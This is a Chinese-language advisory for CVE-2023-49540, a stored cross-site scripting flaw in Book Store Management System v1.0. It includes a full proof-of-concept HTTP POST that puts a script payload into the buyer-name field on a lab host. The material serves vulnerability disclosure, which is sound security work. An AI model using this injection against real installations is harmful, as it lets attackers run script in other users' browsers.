描述:发现 Book Store Management System v1.0 在 /bsms_ci/index.php/history 页面存在跨站脚本(XSS)漏洞。攻击载荷被插入到 /bsms_ci/index.php/transaction 页面的“客户姓名”字段。当访问 /bsms_ci/index.php/history 页面时,载荷成功注入并生效。
受影响产品版本:Book Store Management System v1.0
CVE 作者:Geraldo Alcântara
日期:2023 年 11 月 29 日
确认日期:2023 年 12 月 15 日
CVE 编号:CVE-2023-49540
测试环境:Windows
利用此漏洞时,将攻击载荷插入 "/bsms_ci/index.php/transaction" 页面的“客户姓名”字段。随后在 "/bsms_ci/index.php/history" 页面验证,确认载荷已被成功注入且生效。
POST /bsms_ci/index.php/transaction/save HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/bsms_ci/index.php/transaction
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; ci_session=5e3p7a2j4a65ocjof08v80jugf17i5cd
Upgrade-Insecure-Requests: 1
user_code=2&buyer_name=1200%3cscript%3ealert(1)%3c%2fscript%3e&total=0&pay=Pay
发现者/致谢:
Geraldo Alcântara